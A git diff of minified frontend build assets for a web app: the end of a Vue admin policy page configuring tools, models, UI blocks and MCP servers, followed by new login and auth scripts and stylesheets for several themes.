fetch("/api/admin/policy",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify({target_type:a.target_type,target_value:a.target_type==="global"?"global":a.target_value,config:a.config})}),o=await t.json();if(!t.ok||!o.success)throw new Error(o.error||"保存失败");$.value=o.data,D.value=((e=o.data)==null?void 0:e.updated_at)||null,i.message="保存成功",i.type="success"}catch(t){i.message=(t==null?void 0:t.message)||"保存失败",i.type="error"}finally{P.value=!1}}}const je=async e=>{await ae(e),_.value&&Promise.all([x(),T()]).catch(t=>{console.error(t),i.message=(t==null?void 0:t.message)||"加载策略失败",i.type="error"})};return Le(async()=>{document.addEventListener("click",K),await z(),_.value&&Promise.all([x(),T()]).catch(e=>{console.error(e),i.message=(e==null?void 0:e.message)||"加载策略失败",i.type="error"})}),Be(_,e=>{e&&Promise.all([x(),T()]).catch(t=>{console.error(t),i.message=(t==null?void 0:t.message)||"加载策略失败",i.type="error"})}),Je(()=>{document.removeEventListener("click",K)}),(e,t)=>(c(),d("div",Ke,[M(_)?g("",!0):(c(),Fe(Ge,{key:0,configured:M(ne),loading:M(le),error:M(se),description:"请输入管理员二级密码后继续配置策略。",onVerify:je,onRecheck:M(z)},null,8,["configured","loading","error","onRecheck"])),n("header",Qe,[n("div",null,[t[4]||(t[4]=n("h1",null,"管理员策略配置",-1)),n("p",null,"控制工具分类、模型与前端功能禁用。最新保存:"+u(D.value||"—"),1)]),n("div",We,[n("div",{class:j(["dropdown",{open:V.value}])},[n("button",{type:"button",class:"ghost-btn",onClick:re},[n("span",null,u(ce.value),1),t[5]||(t[5]=n("span",{class:"caret"},"▾",-1))]),V.value?(c(),d("div",Xe,[(c(),d(b,null,v(q,o=>n("button",{key:o.value,type:"button",onClick:l=>pe(o.value)},u(o.label),9,Ze)),64))])):g("",!0)],2),a.target_type!=="global"?(c(),d("div",we,[r(n("input",{"onUpdate:modelValue":t[0]||(t[0]=o=>a.target_value=o),placeholder:ie.value,class:"target-input",type:"text"},null,8,et),[[p,a.target_value]])])):g("",!0),n("button",{type:"button",class:"ghost-btn",onClick:Oe},"载入"),n("button",{type:"button",class:"primary",disabled:P.value,onClick:Ae},u(P.value?"保存中...":"保存"),9,tt)])]),N(Re,{name:"fade"},{default:Ie(()=>[i.message?(c(),d("div",{key:0,class:j(["banner",i.type])},[n("span",null,u(i.message),1),n("button",{type:"button",class:"banner-close",onClick:t[1]||(t[1]=o=>i.message="")},"×")],2)):g("",!0)]),_:1}),n("section",ot,[n("div",{class:"panel-title"},[t[6]||(t[6]=n("h2",null,"工具分类",-1)),n("button",{type:"button",onClick:ke},"新增分类")]),n("div",nt,[t[9]||(t[9]=n("div",{class:"category-row category-head"},[n("span",null,"分类 ID"),n("span",null,"名称"),n("span",null,"工具列表"),n("span",null,"默认启用"),n("span",null,"强制状态"),n("span",null,"操作")],-1)),(c(!0),d(b,null,v(A.value,o=>(c(),d("div",{class:"category-row",key:o.id},[r(n("input",{"onUpdate:modelValue":l=>o.id=l,class:"id-input"},null,8,lt),[[p,o.id]]),r(n("input",{"onUpdate:modelValue":l=>o.label=l},null,8,st),[[p,o.label]]),n("div",{class:j(["tool-select",{open:C.value===o.id}])},[n("button",{type:"button",class:"tool-select-trigger",onClick:te(l=>fe(o.id),["stop"])},[o.tools.length?(c(),d("span",it,[(c(!0),d(b,null,v(o.tools,l=>(c(),d("span",{class:"tool-badge",key:l},u(l),1))),128))])):(c(),d("span",ct,"选择工具")),t[7]||(t[7]=n("span",{class:"caret"},"▾",-1))],8,at),C.value===o.id?(c(),d("div",{key:0,class:"tool-select-menu",onClick:t[3]||(t[3]=te(()=>{},["stop"]))},[n("div",dt,[r(n("input",{"onUpdate:modelValue":t[2]||(t[2]=l=>h.value=l),type:"text",placeholder:"搜索或添加工具 ID"},null,512),[[p,h.value]])]),n("div",ut,[(c(!0),d(b,null,v(H(o),l=>(c(),d("label",{key:l},[n("input",{type:"checkbox",checked:o.tools.includes(l),onChange:s=>Y(o,l)},null,40,rt),n("span",null,u(l),1)]))),128)),H.length?g("",!0):(c(),d("p",pt,"未找到匹配的工具"))]),h.value.trim()&&!G.value.has(h.value.trim())?(c(),d("button",{key:0,type:"button",class:"link small",onClick:l=>me(o)}," 添加自定义工具 “"+u(h.value.trim())+"” ",9,gt)):g("",!0)])):g("",!0)],2),n("label",_t,[n("input",{type:"checkbox",checked:Q(o.id),onChange:l=>ye(o.id,l.target.checked)},null,40,ft),N(R,{checked:Q(o.id),"accent-checked":""},null,8,["checked"]),n("span",null,u(o.default_enabled?"开":"关"),1)]),n("div",{class:j(["dropdown",{open:k.value===o.id}])},[n("button",{type:"button",class:"ghost-btn",onClick:l=>ge(o.id)},[n("span",null,u(_e(o.forced)),1),t[8]||(t[8]=n("span",{class:"caret"},"▾",-1))],8,mt),k.value===o.id?(c(),d("div",yt,[n("button",{type:"button",onClick:l=>B(o.id,null)},"不强制",8,ht),n("button",{type:"button",onClick:l=>B(o.id,!0)},"强制启用",8,bt),n("button",{type:"button",onClick:l=>B(o.id,!1)},"强制禁用",8,vt)])):g("",!0)],2),n("button",{type:"button",class:"link danger",onClick:l=>Ce(o.id)},"删除",8,kt)]))),128))])]),n("section",Ct,[n("div",null,[t[10]||(t[10]=n("div",{class:"panel-title"},[n("h2",null,"模型禁用")],-1)),n("div",Tt,[(c(!0),d(b,null,v(y.models,o=>(c(),d("label",{key:o,class:"toggle-row"},[n("input",{type:"checkbox",checked:W(o),onChange:l=>ve(o)},null,40,xt),N(R,{checked:W(o),"accent-checked":""},null,8,["checked"]),n("span",null,u(o),1)]))),128))])]),n("div",null,[t[11]||(t[11]=n("div",{class:"panel-title"},[n("h2",null,"前端禁用项")],-1)),n("div",St,[(c(!0),d(b,null,v(y.ui_block_keys,o=>(c(),d("label",{key:o,class:"toggle-row"},[n("input",{type:"checkbox",checked:!!a.config.ui_blocks[o],onChange:l=>be(o,l)},null,40,Ut),N(R,{checked:!!a.config.ui_blocks[o],"accent-checked":""},null,8,["checked"]),n("span",null,u(he(o)),1)]))),128))])])]),n("section",Vt,[n("div",Mt,[t[12]||(t[12]=n("h2",null,"MCP 服务配置(统一工具扩展)",-1)),n("div",Pt,[n("button",{type:"button",class:"ghost-btn",disabled:E.value,onClick:T},u(E.value?"刷新中...":"刷新"),9,$t),n("button",{type:"button",class:"ghost-btn",disabled:O.value,onClick:$e},u(O.value?"同步中...":"同步全部工具"),9,Et),n("button",{type:"button",onClick:Ve},"新增 MCP 服务")])]),U.value.length?(c(),d("div",At,[(c(!0),d(b,null,v(U.value,(o,l)=>(c(),d("div",{class:"mcp-item",key:o.id||`new-${l}`},[n("div",jt,[n("label",null,[t[13]||(t[13]=n("span",null,"ID",-1)),r(n("input",{"onUpdate:modelValue":s=>o.id=s,placeholder:"如 demo_stdio"},null,8,Nt),[[p,o.id]])]),n("label",null,[t[14]||(t[14]=n("span",null,"名称",-1)),r(n("input",{"onUpdate:modelValue":s=>o.name=s,placeholder:"显示名称(可选)"},null,8,Dt),[[p,o.name]])]),n("label",null,[t[16]||(t[16]=n("span",null,"Transport",-1)),r(n("select",{"onUpdate:modelValue":s=>o.transport=s},[...t[15]||(t[15]=[n("option",{value:"stdio"},"stdio",-1),n("option",{value:"streamable_http"},"streamable_http",-1)])],8,Lt),[[oe,o.transport]])]),n("label",null,[t[18]||(t[18]=n("span",null,"启用",-1)),r(n("select",{"onUpdate:modelValue":s=>o.enabledText=s},[...t[17]||(t[17]=[n("option",{value:"true"},"true",-1),n("option",{value:"false"},"false",-1)])],8,Bt),[[oe,o.enabledText]])]),o.transport==="stdio"?(c(),d("label",Jt,[t[19]||(t[19]=n("span",null,"command",-1)),r(n("input",{"onUpdate:modelValue":s=>o.command=s,placeholder:"如 python3"},null,8,Ft),[[p,o.command]])])):g("",!0),o.transport==="stdio"?(c(),d("label",It,[t[20]||(t[20]=n("span",null,"args(每行一个,留空=无)",-1)),r(n("textarea",{"onUpdate:modelValue":s=>o.argsText=s,rows:"3",placeholder:"如\\n/abs/path/mcp_server.py"},null,8,Rt),[[p,o.argsText]])])):g("",!0),o.transport==="stdio"?(c(),d("label",zt,[t[21]||(t[21]=n("span",null,"cwd(可选)",-1)),r(n("input",{"onUpdate:modelValue":s=>o.cwd=s,placeholder:"工作目录"},null,8,qt),[[p,o.cwd]])])):g("",!0),o.transport==="streamable_http"?(c(),d("label",Gt,[t[22]||(t[22]=n("span",null,"url",-1)),r(n("input",{"onUpdate:modelValue":s=>o.url=s,placeholder:"如 http://127.0.0.1:8000/mcp"},null,8,Ht),[[p,o.url]])])):g("",!0),n("label",Yt,[t[23]||(t[23]=n("span",null,"headers(JSON,可选)",-1)),r(n("textarea",{"onUpdate:modelValue":s=>o.headersText=s,rows:"2",placeholder:'如 {"Authorization":"Bearer xxx"}'},null,8,Kt),[[p,o.headersText]])]),n("label",Qt,[t[24]||(t[24]=n("span",null,"env(JSON,可选,stdio 有效)",-1)),r(n("textarea",{"onUpdate:modelValue":s=>o.envText=s,rows:"2",placeholder:'如 {"PYTHONUNBUFFERED":"1"}'},null,8,Wt),[[p,o.envText]])]),n("label",null,[t[25]||(t[25]=n("span",null,"timeout(s)",-1)),r(n("input",{"onUpdate:modelValue":s=>o.timeoutText=s,placeholder:"25"},null,8,Xt),[[p,o.timeoutText]])]),n("label",Zt,[t[26]||(t[26]=n("span",null,"include_tools(逗号分隔,可选)",-1)),r(n("input",{"onUpdate:modelValue":s=>o.includeToolsText=s,placeholder:"如 echo,read_db"},null,8,wt),[[p,o.includeToolsText]])]),n("label",eo,[t[27]||(t[27]=n("span",null,"exclude_tools(逗号分隔,可选)",-1)),r(n("input",{"onUpdate:modelValue":s=>o.excludeToolsText=s,placeholder:"如 dangerous_tool"},null,8,to),[[p,o.excludeToolsText]])]),n("label",oo,[t[28]||(t[28]=n("span",null,"说明(可选)",-1)),r(n("input",{"onUpdate:modelValue":s=>o.description=s,placeholder:"备注说明"},null,8,no),[[p,o.description]])])]),n("div",lo,[n("span",null,"最近同步:"+u(o.tools_cache_updated_at||"未同步"),1),o.last_error?(c(),d("span",so,"错误:"+u(o.last_error),1)):g("",!0),n("span",null,"缓存工具数:"+u(o.tools_cache_count),1)]),n("div",ao,[n("button",{type:"button",class:"primary",onClick:s=>Me(o)},"保存",8,io),n("button",{type:"button",class:"ghost-btn",onClick:s=>J(o.id)},"同步工具",8,co),n("button",{type:"button",class:"link danger",onClick:s=>Pe(o.id,l)},"删除",8,uo)])]))),128))])):(c(),d("div",Ot,"暂无 MCP 服务,点击“新增 MCP 服务”开始配置。"))]),n("section",ro,[t[29]||(t[29]=n("div",{class:"panel-title"},[n("h2",null,"已删除分类")],-1)),n("div",po,[a.config.remove_categories.length?g("",!0):(c(),d("span",go,"无")),(c(!0),d(b,null,v(a.config.remove_categories,o=>(c(),d("span",{key:o,class:"chip"},[ze(u(o)+" ",1),n("button",{type:"button",onClick:l=>Te(o)},"×",8,_o)]))),128))])]),t[30]||(t[30]=n("section",{class:"panel muted-info"},[n("p",null,"说明:"),n("ul",null,[n("li",null,"优先级:用户 > 邀请码 > 角色 > 全局。"),n("li",null,"分类“强制状态”会覆盖用户侧的工具开关,并在前端提示“被管理员强制”。"),n("li",null,"UI 禁用项会在用户操作时弹出右上角提示。")])],-1))]))}}),mo=Ye(fo,[["__scopeId","data-v-8faa8aef"]]);qe(mo).mount("#admin-policy-app"); diff --git a/demo/static/dist/assets/auth.css b/demo/static/dist/assets/auth.css new file mode 100644 index 0000000..7cab81d --- /dev/null +++ b/demo/static/dist/assets/auth.css @@ -0,0 +1 @@ +@charset "UTF-8";:root{color-scheme:light;--app-viewport: 100vh;--app-bottom-inset: env(safe-area-inset-bottom, 0px);--mac-close: #ff5f57;--mac-close-hover: #ff3b30;--mac-close-border: #e0443e;--text-shadow-legible: rgba(0, 0, 0, .8);--decorative-gold: #ffd700;--decorative-pink: #ff69b4;--glass-tint-blue: rgba(104, 147, 255, .2);--glass-tint-blue-soft: rgba(128, 183, 255, .18);--glass-tint-blue-mid: rgba(140, 180, 255, .35);--glass-tint-amber: rgba(255, 200, 150, .22);--glass-base-deep: rgba(28, 27, 41, .95);--glass-shadow-deep: rgba(24, 20, 37, .45);--progress-track: rgba(127, 135, 146, .28);--drag-preview-shadow: rgba(0, 0, 0, .35);--lightbox-text: #ffffff;--lightbox-btn-bg: rgba(0, 0, 0, .45);--lightbox-btn-bg-hover: rgba(0, 0, 0, .65);--file-kind-word: #5b7fc4;--file-kind-excel: #529658;--file-kind-ppt: #c9734b;--file-kind-pdf: #c25e52;--file-kind-text: #71808f;--file-kind-code: #8a6fc0;--file-kind-archive: #a08255;--file-kind-generic: #8b887f;--effort-low: #f5c542;--effort-medium: #3fd07c;--effort-high: #4f8ef7;--effort-xhigh: #a55df0;--effort-xhigh-shine: rgba(255, 255, 255, .55);--effort-max-red: #ff3b5c;--effort-max-orange: #ff9f2e;--effort-max-yellow: #ffe93b;--effort-max-green: #3ddc68;--effort-max-cyan: #2fd4ff;--effort-max-purple: #7a5cff;--effort-max-pink: #ff4fd8;--effort-knob-bg: #ffffff;--effort-knob-shadow: rgba(0, 0, 0, .28);--effort-dot-covered: rgba(255, 255, 255, .55);--effort-dot-uncovered: rgba(0, 0, 0, .28);--theme-surface-card: var(--surface-card);--theme-surface-strong: var(--surface-raised);--theme-surface-soft: var(--surface-soft);--theme-surface-muted: var(--surface-muted);--theme-card-border-strong: var(--border-card-strong);--theme-chip-border: var(--chip-border);--theme-tab-active: var(--tab-active);--theme-chip-bg: var(--chip-bg);--theme-badge-bg: var(--badge-bg);--theme-switch-track: var(--switch-track);--theme-shadow-soft: var(--shadow-soft);--theme-shadow-mid: var(--shadow-mid);--theme-shadow-strong: var(--shadow-strong);--theme-overlay-scrim: var(--overlay-scrim);--theme-mobile-menu: var(--mobile-menu);--theme-mobile-menu-shadow: var(--mobile-menu-shadow);--git-diff-add-text: var(--diff-add-text);--git-diff-del-text: var(--diff-del-text);--theme-control-border: var(--border-default);--theme-control-border-strong: var(--border-strong)}:root[data-theme=classic]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=light]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #ffffff;--surface-panel: #ffffff;--surface-rail: #f9f9f9;--surface-sidebar: #f9f9f9;--surface-card: #ffffff;--surface-raised: #ffffff;--surface-soft: #f9f9f9;--surface-muted: #f3f3f3;--text-primary: #0d0d0d;--text-secondary: #5d5d5d;--text-tertiary: #8f8f8f;--text-muted: rgba(13, 13, 13, .35);--border-default: rgba(13, 13, 13, .1);--border-strong: rgba(13, 13, 13, .15);--border-card-strong: rgba(13, 13, 13, .1);--chip-border: rgba(13, 13, 13, .05);--accent: #181818;--accent-strong: #181818;--accent-hover: #303030;--accent-active: #414141;--accent-deep: #5d5d5d;--accent-deep-strong: #414141;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #0285ff;--highlight: rgba(13, 13, 13, .05);--tab-active: rgba(13, 13, 13, .05);--chip-bg: #f3f3f3;--badge-bg: #f3f3f3;--switch-track: #ececec;--hover-bg: rgba(13, 13, 13, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 1px 2px rgba(0, 0, 0, .05);--shadow-soft: 0 1px 2px rgba(0, 0, 0, .05);--shadow-mid: 0 1px 3px rgba(0, 0, 0, .06);--shadow-strong: 0 2px 4px rgba(0, 0, 0, .08);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(0, 0, 0, .5);--mobile-menu: #ffffff;--mobile-menu-shadow: 0 2px 8px rgba(0, 0, 0, .08);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=dark]{color-scheme:dark;--effort-track-bg: #3a3a3c;--surface-base: #1a1a1a;--surface-panel: #1a1a1a;--surface-rail: #181818;--surface-sidebar: #181818;--surface-card: #262626;--surface-raised: #1a1a1a;--surface-soft: #212121;--surface-muted: #2b2b2b;--text-primary: #ffffff;--text-secondary: #a0a0a0;--text-tertiary: #707070;--text-muted: rgba(255, 255, 255, .3);--border-default: rgba(255, 255, 255, .08);--border-strong: rgba(255, 255, 255, .12);--border-card-strong: rgba(255, 255, 255, .1);--chip-border: rgba(255, 255, 255, .08);--accent: #606060;--accent-strong: #505050;--accent-hover: #707070;--accent-active: #505050;--accent-deep: #808080;--accent-deep-strong: #606060;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #e34d4d;--state-info: #60a5fa;--highlight: rgba(255, 255, 255, .05);--tab-active: rgba(255, 255, 255, .05);--chip-bg: #2a2a2a;--badge-bg: #2a2a2a;--switch-track: #2a2a2a;--hover-bg: rgba(255, 255, 255, .06);--pulse-ring: rgba(255, 255, 255, .1);--shadow-card: 0 2px 8px rgba(0, 0, 0, .5);--shadow-soft: 0 2px 6px rgba(0, 0, 0, .4);--shadow-mid: 0 3px 8px rgba(0, 0, 0, .5);--shadow-strong: 0 4px 12px rgba(0, 0, 0, .6);--shadow-color: rgba(0, 0, 0, .4);--overlay-scrim: rgba(0, 0, 0, .8);--mobile-menu: rgba(10, 10, 10, .95);--mobile-menu-shadow: 0 4px 12px rgba(0, 0, 0, .6);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root:not([data-theme]){--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root,body{margin:0;min-height:100%}body{min-height:100vh;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,PingFang SC,Hiragino Sans GB,sans-serif;background:var(--surface-base);color:var(--text-primary)}.auth-page{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:24px;box-sizing:border-box}.auth-card{width:min(100%,390px);padding:30px;border-radius:18px;background:var(--theme-surface-soft);border:1px solid var(--theme-control-border);box-shadow:var(--theme-shadow-mid);-webkit-backdrop-filter:blur(8px);backdrop-filter:blur(8px)}.auth-title{margin:0;font-size:1.4rem}.auth-subtitle{margin-top:8px;margin-bottom:0;font-size:.9rem;color:var(--text-secondary)}.auth-form-group{margin-top:14px}.auth-label{display:block;margin-bottom:6px;font-size:.86rem;color:var(--text-secondary)}.auth-input{width:100%;min-height:46px;box-sizing:border-box;border-radius:12px;border:1px solid var(--theme-control-border);background:var(--theme-surface-strong);color:var(--text-primary);padding:11px 12px;font-size:.95rem;transition:border-color .2s ease,box-shadow .2s ease}.auth-input:focus{outline:none;border-color:var(--accent-strong);box-shadow:0 0 0 3px var(--highlight)}.auth-button{width:100%;margin-top:18px;border:none;border-radius:999px;min-height:44px;font-size:.95rem;cursor:pointer;background:linear-gradient(135deg,var(--accent),var(--accent-strong));color:var(--on-accent);transition:transform .15s ease,filter .15s ease}.auth-button:hover:not(:disabled){transform:translateY(-1px);filter:brightness(1.02)}.auth-button:disabled,.auth-secondary-button:disabled{opacity:.65;cursor:not-allowed}.auth-secondary-button{width:100%;margin-top:10px;border-radius:999px;min-height:42px;border:1px solid var(--accent-strong);background:var(--theme-surface-strong);color:var(--accent-strong);cursor:pointer}.auth-error{min-height:1.2em;margin-top:12px;color:var(--state-danger);font-size:.86rem}.auth-link{margin-top:16px;font-size:.86rem;color:var(--text-secondary)}.auth-link a{color:var(--accent-strong);text-decoration:none} diff --git a/demo/static/dist/assets/auth.js b/demo/static/dist/assets/auth.js new file mode 100644 index 0000000..aba5a45 --- /dev/null +++ b/demo/static/dist/assets/auth.js @@ -0,0 +1 @@ +const e="agents_ui_theme",o=t=>t==="classic"||t==="light"||t==="dark",n=()=>{if(typeof window>"u")return"classic";const t=window.localStorage.getItem(e);return o(t)?t:"classic"},c=t=>{document.documentElement.setAttribute("data-theme",t),document.body.setAttribute("data-theme",t)};export{c as a,n as l}; diff --git a/demo/static/dist/assets/login.js b/demo/static/dist/assets/login.js new file mode 100644 index 0000000..b0e37bb --- /dev/null +++ b/demo/static/dist/assets/login.js @@ -0,0 +1 @@ +import{d as g,o as _,b as h,c as f,g as t,h as m,j as v,z as k,f as T,t as j,i as C,k as n,m as S}from"./runtime-dom.esm-bundler.js";import{a as V,l as L}from"./auth.js";const N={class:"auth-page"},x={class:"auth-card"},A={class:"auth-form-group"},B={class:"auth-form-group"},M=["disabled"],O=["disabled"],D={class:"auth-error"},E=g({__name:"LoginApp",setup(K){const l=n(""),r=n(""),s=n(""),i=n(!1),u=n(!1),c=n(!1),w=async(e="/")=>{if(!l.value||!r.value){s.value="请输入邮箱和密码";return}i.value=!0,s.value="";try{const a=await fetch("/login",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:l.value,password:r.value})});if(a.status===503){const d=await a.json().catch(()=>({}));s.value=d.error||"服务暂时不可用,请稍后重试";return}const o=await a.json();if(o.success){window.location.href=e;return}s.value=o.error||"登录失败"}catch{s.value="网络错误,请重试"}finally{i.value=!1}},p=()=>w("/"),b=async(e="/")=>{u.value=!0,s.value="";try{const a=await fetch("/host-login",{method:"POST"});if(a.status===503){const d=await a.json().catch(()=>({}));s.value=d.error||"资源繁忙,请稍后再试";return}const o=await a.json();if(o.success){window.location.href=e;return}s.value=o.error||"宿主机模式不可用"}catch{s.value="网络错误,请重试"}finally{u.value=!1}},y=()=>b("/");return _(async()=>{if(V(L()),window.ensureCsrfToken)try{await window.ensureCsrfToken()}catch{}try{const a=await(await fetch("/api/host-mode-enabled")).json();c.value=!!(a&&a.success&&a.enabled)}catch{c.value=!1}try{const a=await(await fetch("/api/session-status",{credentials:"same-origin"})).json()}catch(e){console.warn("[auth-debug] login page session-status failed:",e)}}),(e,a)=>(h(),f("main",N,[t("section",x,[a[4]||(a[4]=t("h1",{class:"auth-title"},"Astrion 登录",-1)),a[5]||(a[5]=t("p",{class:"auth-subtitle"},"使用账号继续访问工作台",-1)),t("div",A,[a[2]||(a[2]=t("label",{class:"auth-label",for:"email"},"邮箱",-1)),m(t("input",{id:"email","onUpdate:modelValue":a[0]||(a[0]=o=>l.value=o),type:"email",class:"auth-input",autocomplete:"email"},null,512),[[v,l.value,void 0,{trim:!0}]])]),t("div",B,[a[3]||(a[3]=t("label",{class:"auth-label",for:"password"},"密码",-1)),m(t("input",{id:"password","onUpdate:modelValue":a[1]||(a[1]=o=>r.value=o),type:"password",class:"auth-input",autocomplete:"current-password",onKeydown:k(p,["enter"])},null,544),[[v,r.value]])]),t("button",{class:"auth-button",disabled:i.value,onClick:p},"登录",8,M),c.value?(h(),f("button",{key:0,class:"auth-secondary-button",disabled:u.value,onClick:y}," 宿主机模式(免登录) ",8,O)):T("",!0),t("div",D,j(s.value),1),a[6]||(a[6]=t("div",{class:"auth-link"},[C("还没有账号?"),t("a",{href:"/register"},"点击注册")],-1))])]))}});S(E).mount("#auth-app"); diff --git a/demo/static/dist/assets/main.css b/demo/static/dist/assets/main.css new file mode 100644 index 0000000..b4776c2 --- /dev/null +++ b/demo/static/dist/assets/main.css @@ -0,0 +1,32 @@ +@charset "UTF-8";.tool-result-meta{margin-bottom:12px;padding:8px 12px;background:var(--hover-bg);border-radius:6px;font-size:13px;line-height:1.6}.tool-result-meta>div{margin:4px 0;white-space:pre-wrap;word-break:break-word}.tool-result-content{margin-top:12px}.tool-result-content.scrollable{max-height:400px;overflow-y:auto;border:1px solid var(--border-default);border-radius:6px;padding:8px;background:color-mix(in srgb,transparent 99%,var(--text-primary))}.tool-result-content.scrollable,.tool-result-diff.scrollable,.code-block pre,.output-block pre{scrollbar-width:thin;scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) transparent}.tool-result-content.scrollable::-webkit-scrollbar,.tool-result-diff.scrollable::-webkit-scrollbar,.code-block pre::-webkit-scrollbar,.output-block pre::-webkit-scrollbar{width:10px;height:10px}.tool-result-content.scrollable::-webkit-scrollbar-track,.tool-result-diff.scrollable::-webkit-scrollbar-track,.code-block pre::-webkit-scrollbar-track,.output-block pre::-webkit-scrollbar-track{background:transparent;border-radius:999px;margin:8px}.tool-result-content.scrollable::-webkit-scrollbar-thumb,.tool-result-diff.scrollable::-webkit-scrollbar-thumb,.code-block pre::-webkit-scrollbar-thumb,.output-block pre::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-secondary) 55%,transparent);border-radius:999px;border:2px solid transparent;background-clip:padding-box}.tool-result-content pre{margin:0;white-space:pre-wrap;word-wrap:break-word;font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5}.content-label{font-weight:600;margin-bottom:8px;font-size:13px}.tool-result-empty{color:var(--text-secondary);font-style:italic;padding:8px}.search-result-list{margin-top:12px}.search-result-item{padding:10px;margin-bottom:8px;border:1px solid var(--border-default);border-radius:6px;background:color-mix(in srgb,transparent 99%,var(--text-primary))}:root[data-theme=dark] .search-result-item{background:var(--badge-bg);border:1px solid var(--border-default)}.search-result-title{font-weight:600;margin-bottom:4px;font-size:14px}.search-result-url{font-size:12px;color:var(--text-secondary)}:root[data-theme=dark] .search-result-url{color:var(--text-secondary)}.search-result-url a{color:var(--state-info);text-decoration:none}:root[data-theme=dark] .search-result-url a{color:var(--state-info)}.tool-result-diff{margin-top:12px;font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5}.tool-result-diff.scrollable{max-height:400px;overflow-y:auto;border:1px solid var(--border-default);border-radius:6px;padding:8px;background:color-mix(in srgb,transparent 99%,var(--text-primary))}.diff-line{display:grid;grid-template-columns:5ch 1ch minmax(0,1fr);column-gap:8px;padding:2px 4px;margin:0;align-items:start}.diff-line-number{color:var(--text-tertiary);text-align:right;-webkit-user-select:none;user-select:none}.diff-marker{color:var(--text-secondary);text-align:center;-webkit-user-select:none;user-select:none}.diff-content{min-width:0;white-space:pre-wrap;word-wrap:break-word}.diff-remove{background:var(--diff-del-bg);color:var(--state-danger)}.diff-add{background:var(--diff-add-bg);color:var(--state-success)}.diff-separator{text-align:left;color:var(--text-tertiary);margin:8px 0}.diff-separator .diff-content{font-size:16px;font-weight:700;line-height:1.1}.diff-operation{font-weight:600;margin:8px 0 4px;color:var(--text-secondary)}.tool-result-image{margin-top:12px;text-align:center}.tool-result-image img{max-width:100%;max-height:480px;height:auto;border-radius:6px;border:1px solid var(--border-default)}.tool-result-image 